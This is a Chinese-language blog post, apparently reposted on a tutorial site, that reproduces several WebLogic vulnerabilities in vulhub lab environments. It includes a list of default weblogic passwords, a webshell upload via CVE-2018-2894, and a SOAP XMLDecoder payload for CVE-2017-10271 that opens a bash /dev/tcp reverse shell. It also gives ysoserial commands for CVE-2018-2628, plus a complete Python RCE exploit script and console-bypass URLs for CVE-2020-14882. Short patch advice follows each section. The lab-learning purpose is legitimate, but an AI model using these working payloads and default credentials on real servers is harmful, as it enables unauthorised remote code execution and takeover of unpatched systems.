weblogic漏洞复现整理汇总(vulhub)

这篇具有很好参考价值的文章主要介绍了weblogic漏洞复现整理汇总(vulhub)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

weblogic漏洞复现整理汇总(vulhub)


根据vulhub已有的复现环境,对weblogic漏洞复现进行一个汇总,包括RCE、未授权任意文件上传、反序列化漏洞等,方便今后回顾学习


一、概述

weblogic是oracle出品的java中间件
端口是7001
默认后台登录地址:http://your-ip:7001/console
常见弱口令:

system:password		weblogic:weblogic		admin:secruity
joe:password		mary:password		system:sercurity
wlcsystem: wlcsystem		weblogic:Oracle@123

此网站可以搜索对应软件的默认密码

https://cirt.net/passwords?criteria=weblogic

二、任意文件上传漏洞(CVE-2018-2894)

  1. 漏洞原因:
    Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。

  2. 漏洞复现:
    搭建 cd vulhub/weblogic/CVE-2018-2894
    docker-compose up -d
    访问 http://your-ip:7001/console 看是否搭建成功
    weblogic漏洞复现,安全,开发语言访问/ws_utc/config.do(未授权访问)
    weblogic漏洞复现,安全,开发语言
    Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service
    Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制,漏洞存在页面在/ws_utc/config.do。

    所以我们漏洞复现的话需要手动准备一下环境:
    查看管理员账号密码为 weblogic 密码为 uN21RTXC
    weblogic漏洞复现,安全,开发语言
    登录管理员后台(输错密码5次会锁定账号,半个小时后才能登录,血的教训)
    weblogic漏洞复现,安全,开发语言
    点击base_domain,再点击高级
    weblogic漏洞复现,安全,开发语言
    启用web服务测试页
    weblogic漏洞复现,安全,开发语言最后点击保存
    现在可以访问我们的未授权页面/ws_utc/config.do
    修改Work Home Dir:
    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css(因为访问这个目录不需要权限),之后点提交
    weblogic漏洞复现,安全,开发语言
    之后就可以上传文件了,点击安全
    weblogic漏洞复现,安全,开发语言点击添加,上传webshell(我选择冰蝎shell.jsp)
    weblogic漏洞复现,安全,开发语言
    打开抓包,点击提交
    weblogic漏洞复现,安全,开发语言weblogic漏洞复现,安全,开发语言
    可以看到返回包中有一个时间戳(应该是哈哈的那个id标签),待会要用
    打开连接软件,这里我用冰蝎,路径为 http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]
    http://192.168.0.161:7001/ws_utc/css/config/keystore/1628751524774_shell.jsp
    weblogic漏洞复现,安全,开发语言
    成功连接
    2.3修复建议
    使用oracle官方补丁升级;

三、XMLDecoder反序列化漏洞(CVE-2017-10271)

  1. 漏洞原因:
    Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

  2. 漏洞复现:
    先搭建环境(vulhub)
    漏洞存在于以下路径:/wls-wsat/CoordinatorPortType11
    weblogic漏洞复现,安全,开发语言先开一个监听,监听端口21
    weblogic漏洞复现,安全,开发语言用burpsuite发送如下post报文

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/接收shell的ip/21 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

weblogic漏洞复现,安全,开发语言 发送之后成功反弹shell
weblogic漏洞复现,安全,开发语言尝试写一个文件上去

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java><java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter">      <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
     <void method="println"><string>
     <![CDATA[
 <% out.print("test"); %>
     ]]>
     </string>
     </void>
     <void method="close"/>
     </object></java></java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
</soapenv:Envelope>

文件路径为 /bea_wls_internal/test1.jsp
weblogic漏洞复现,安全,开发语言尝试写一个jsp一句话木马上去
这里我上传的冰蝎马(这里注意要把中文都删掉,会对bp造成影响)
weblogic漏洞复现,安全,开发语言成功连接!
weblogic漏洞复现,安全,开发语言3. 修复建议:
打补丁、删除wls-wsat组件,然后重启weblogic(临时处理)

四、反序列化漏洞(CVE-2018-2628)

  1. 漏洞原因:
    T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击.
    (可通过nmap脚本–script=weblogic-t3-info查看weblogic版本信息和t3协议是否开启)

  2. 漏洞复现:
    搭建vulhub环境
    首先准备反序列化利用工具

    ysoserial-cve-2018-2628,下载链接https://github.com/tdy218/ysoserial-cve-2018-2628/releases
    expolit.py脚本,下载链接https://www.exploit-db.com/exploits/44553

    存放在同一路径建议
    先执行以下命令,开启一个监听端口,命令为创建一个test文件夹(并不是所有命令都能执行)
    java -cp “ysoserial-0.1-cve-2018-2628-all.jar” ysoserial.exploit.JRMPListener 3333 Jdk7u21 “touch /tmp/test”
    weblogic漏洞复现,安全,开发语言再执行该命令,必须使用python2环境
    python2 exploit.py 192.168.0.161 7001 ysoserial-0.1-cve-2018-2628-all.jar 192.168.0.83 3333 JRMPClientweblogic漏洞复现,安全,开发语言去靶机上验证一下(没成功不知道怎么回事)

    docker-compose exec weblogic bash
    ls /tmp
    
  3. 修复建议:
    及时更新补丁;禁用T3协议;禁止T3端口对外开放,或者限制可访问T3端口的IP来源

五、未授权命令执行漏洞(CVE-2020-14882)

  1. 漏洞原因:
    未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。

  2. 漏洞复现:
    首先搭建环境
    weblogic漏洞复现,安全,开发语言方法一:使用exp,相关exp如下:

    import re
    import sys
    import requests
    #下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead
    #其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题
    #参考https://my.oschina.net/u/1538135/blog/858467
    #python3.x中的httplib变成了http.client需要修改一下
    import http.client
    http.client.HTTPConnection._http_vsn = 10
    http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
    if len(sys.argv) <3:
        print('用法:python exp.py http(s):target-ip:target-port command')
        sys.exit()
    baseurl = sys.argv[1]
    #去掉url最后面的/
    if baseurl[-1]=='/':
        baseurl = baseurl[0:-1]
    #命令中包含空格的情况
    cmd = sys.argv[2]
    if len(sys.argv) > 3:
        i = 3
        while i < len(sys.argv):
            #在linux中可以使用${IFS}代替空格
            #windows的话部分命令可以使用=替代空格,大家可以自行修改脚本
            cmd += ' '
            cmd += sys.argv[i]
            i += 1
    #调试的时候使用burp代理抓包,便于发现脚本的问题
    proxy = {"http": "http://127.0.0.1:8080"}
    res = baseurl + "/console/css/%252e%252e%252fconsole.portal"
    #设置不跟随302重定向,不然会获取不到cookie
    #response = requests.get(res, proxies=proxy,allow_redirects=False)
    response = requests.get(res, allow_redirects=False)
    cookie_raw = response.headers['Set-Cookie']
    
    matchObj = re.match( r'(.*); path=/.*?', cookie_raw, re.M|re.I)
    if matchObj:
        cookie = matchObj.group(1)
        #print(cookie)
    else:
        print('未获取到cookie!')
        sys.exit();
    
    #获取到cookie之后,发送第二个请求,用于执行命令
    #注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为
    #转义符处理,导致真正发送的请求中只包含一个\
    res = baseurl + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
    headers = {"cookie":cookie, "cmd":cmd}
    #response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)
    response = requests.get(res, headers=headers, allow_redirects=False)
    print(response.text)
    

    成功远程命令执行
    weblogic漏洞复现,安全,开发语言方法二:未授权访问
    url输入以下payload:
    http://192.168.0.161:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

    直接是一个未授权登录后台
    weblogic漏洞复现,安全,开发语言
    方法三:抓包重放写入文件
    修改请求行
    GET /console/css/%252e%252e%252fconsole.portal_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(‘touch%20/tmp/20210819’);” HTTP/1.1
    weblogic漏洞复现,安全,开发语言
    weblogic漏洞复现,安全,开发语言成功写入文件

    weblogic漏洞复现,安全,开发语言

  3. 修复建议
    临时关闭后台/console/console.portal对外访问;安装最新补丁文章来源地址https://www.toymoban.com/news/detail-605859.html

到了这里,关于weblogic漏洞复现整理汇总(vulhub)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【漏洞复现】Weblogic CVE-2023-21839

    1. 产品简介 WebLogic是Oracle公司研发的用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器,在全球范围内被广泛使用。 2. 漏洞简介 Oracle发布安全公告,修复了一个存在于WebLogic Core中的远程代码执行漏洞(CVE-2023-21839),可在未经身份验证

    2023年04月16日
    浏览(27)
  • Weblogic 任意文件上传漏洞(CVE-2018-2894)复现

    目录 weblogic  漏洞环境准备 漏洞复现 修复建议 WebLogic 是 美国Oracle公司 出品的一个 application server ,确切的说是一个基于 JAVAEE 架构的 中间件 , WebLogic 是用于 开发 、集成、部署和管理大型分布式 Web 应用、 网络应用 和 数据库应用 的 Java应用服务器 。将 Java 的动态功能和

    2024年02月01日
    浏览(32)
  • Kali虚拟机安装docker并配置vulhub漏洞复现环境

    学网络安全有一些漏洞复现的经历会很有用,Vulhub是一个面向大众的开源漏洞靶场,我们可以借助它简单的进行漏洞复现。下面就从安装docker开始分享一下在kali虚拟机上搭建vulhub的过程,涉及搭建过程中遇到的一些问题和解决方法。 要想安装vulhub首先需要docker来给我们提供容

    2024年02月10日
    浏览(42)
  • 【Web】vulhub-httpd apache解析漏洞复现(1)

    目录 ①CVE-2017-15715 ②apache_parsing_vulnerability 贴出源码: 意思就是上传文件的后缀不能是php,php3,php4,php5,phtml,pht 我们看一下.htaccess配置文件  这段代码的作用是告诉 Apache 如何处理以 .php 结尾的请求,确保这些请求能够被正确地解释和执行 PHP 代码,并将结果返回给客户端。 这

    2024年02月04日
    浏览(29)
  • Weblogic 常见漏洞汇总

    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和

    2023年04月08日
    浏览(26)
  • CVE-2023-21839:Weblogic反序列化漏洞复现

    声明:仅供学习参考使用,请勿用作违法用途,否则后果自负 在进行漏洞复现前简单描述一下什么是序列化和反序列化: 1、序列化和反序列化的定义: (1)Java序列化就是指把Java对象转换为字节序列的过程。 Java反序列化就是指把字节序列恢复为Java对象的过程。 (2)序列化最重

    2024年02月13日
    浏览(27)
  • Weblogic反序列化(CVE-2023-21839)漏洞复现

    序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程,一般将对象转换为字节流。序列化时,对象的当前状态被写入到临时或持久性存储区(文件、内存、数据库等)。 反序列化(Deserialization):从序列化的表示形式中提取数据,即把有序字节流恢

    2024年02月07日
    浏览(31)
  • Ubuntu安装部署docker环境+安装部署vulhub靶场环境+漏洞复现

    目录 安装docker环境 安装部署vulhub靶场     指令:docker -v   下载安装pip,等待即可   pip安装成功   安装docker-compose 指令:docker-compose -v   可将老版本的urllib3进行删除 指令: pip uninstall urllib3     安装前直接切换到桌面,默认下载到桌面,这里没有切换,默认下载到了root目

    2024年02月03日
    浏览(29)
  • [ vulhub漏洞复现篇 ] Drupal<7.32 Drupalgeddon SQL注入漏洞(CVE-2014-3704)

    👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋 🙏作者水平有

    2023年04月14日
    浏览(36)
  • shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    本文所有使用的脚本和工具都会在文末给出链接,希望读者可以耐心看到最后。 啥是shiro? Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护。 shiro550反序列化原理 cve编号:

    2024年02月05日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包